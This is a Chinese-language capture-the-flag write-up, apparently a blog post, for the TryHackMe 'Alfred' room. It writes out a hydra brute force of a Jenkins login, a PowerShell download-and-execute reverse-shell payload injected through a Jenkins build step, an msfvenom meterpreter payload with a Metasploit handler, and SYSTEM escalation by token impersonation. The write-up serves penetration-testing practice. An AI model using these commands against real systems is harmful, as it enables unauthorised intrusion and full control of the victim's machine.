Alfred渗透测试练习

TryHackme-Alfred房间练习

(利用 Jenkins 获得初始 shell,然后通过利用 Windows 身份验证令牌来升级您的权限。)
攻击IP:10.10.59.22
本地IP:10.4.21.183

1,扫描端口:namp -sV -sC --script vuln 10.10.194.124

登录10.10.175.25:8080登录面板的用户名和密码是什么


hydra表单暴力破解:hydra -s 8080 10.10.175.25 http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password" -L user.txt -P pass.txt -t 10 -w 30(URL: /j_acegi_security_check,USER = j_username,PASS = j_password)  
字典地址:/usr/share/wordlists/SecLists/Passwords/Common-Credentials/best1050.txt 

2,获取反向shell


查找该工具的一项功能,该功能允许您在底层系统上执行命令, 当你发现这个功能时,你可以使用这个命令在你的机器上获取反向shell,然后运行它

Jenkins 附带了一个“脚本控制台”管理工具,允许经过身份验证的用户使用 Apache Groovy 运行脚本,Apache Groovy 是一种适用于 Java 平台的与 Java 语法兼容的面向对象编程语言。

经这些研究后,execute() 函数似乎可以用来执行 shell 命令: 

(要通过 Jenkins 执行命令,请按照以下步骤操作:使用 http://10.10.175.25:8080/,连接 admin: admin,在仪表板上,单击project,从左侧菜单中,单击configure配置,向下滚动到Build创建部分并输入命令(例如“ipconfig”),点击save按钮,返回项目视图,单击左侧菜单中的“立即构建”,等到您从菜单下的“构建历史记录”框中看到新的构建号(例如“#2”)单击已添加的内部版本号, 从菜单中单击“控制台输出”, 从这里您将得到命令的结果。 基于此,我们将创建一个反向shell。 )

首先,下载 Invoke-PoweShellTcp.ps1 powershell 脚本(https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1)并通过 Web 服务器使其可用: Python3 -m http.server,

同时打开一个监听器: nc -lvnp 4444,现在,转到Build选项并注入以下有效负载: powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port,单击保存,构建项目。

您应该看到 Web 服务器已交付 Invoke-PowerShellTcp.ps1脚本,现在应该有一个反向 shell,可以使用 dir检查目录的内容,以及chdir更改目录

3,切换shell
切换到 Metepreter shell
首先使用提供的 msfvenom 命令来生成有效负载,不要忘记再次更改必要的位:msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe,

仍然可以运行该服务器,跳到另一个反向 shell 并上传我们刚刚使用以下命令创建的有效负载: powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')",

现在在运行它之前,我们需要设置 Metasploit 侦听器,使用 msfconsole要启动metasploit,然后使用提供的代码来准备好侦听器:use exploit/multi/handler,set PAYLOAD windows/meterpreter/reverse_tcp,set LHOST [your-ip],set LPORT [listening-port],run,

现在它正在运行我们可以运行在目标机器上等待的负载:Start-Process "shell-name.exe"


4,权限提升
将使用令牌模拟来获得系统访问权限,Windows 使用令牌来确保帐户拥有执行特定操作的正确权限。 当用户登录或通过身份验证时,帐户令牌会分配给帐户,这通常由 LSASS.exe 完成(将其视为身份验证过程)
使用 whoami /priv 查看所有权限,可以看到启用了两个权限(SeDebugPrivilege、SeImpersonatePrivilege),

使用incognito module来利用此漏洞,输入:load incognito 在Metasploit中加载incognito模块,

要检查哪些令牌可用,输入:list_tokens -g,我们可以看到 BUILTIN\Administrators 令牌可用,

使用:impersonate_token "BUILTIN\Administrators" 命令模拟管理员令牌,

运行 getuid 命令时的输出是什么,即使您拥有更高的特权令牌,您也可能没有特权用户的权限(这是由于Windows处理权限的方式所致 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会),确保您迁移到具有正确权限的进程,最安全的进程是 services.exe 进程。 我们实际上可能没有特权用户的权限,因为我们能做什么/不能做什么是由主令牌决定的,而不是模拟令牌。 因此我们需要迁移到具有正确权限的进程。首先使用 ps 命令查看进程,

找到services.exe进程的PID,使用命令 migrate PID-OF-PROCESS迁移到此进程,

读取文件在meterpreter中,我们可以使用类似的东西cd和cat

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值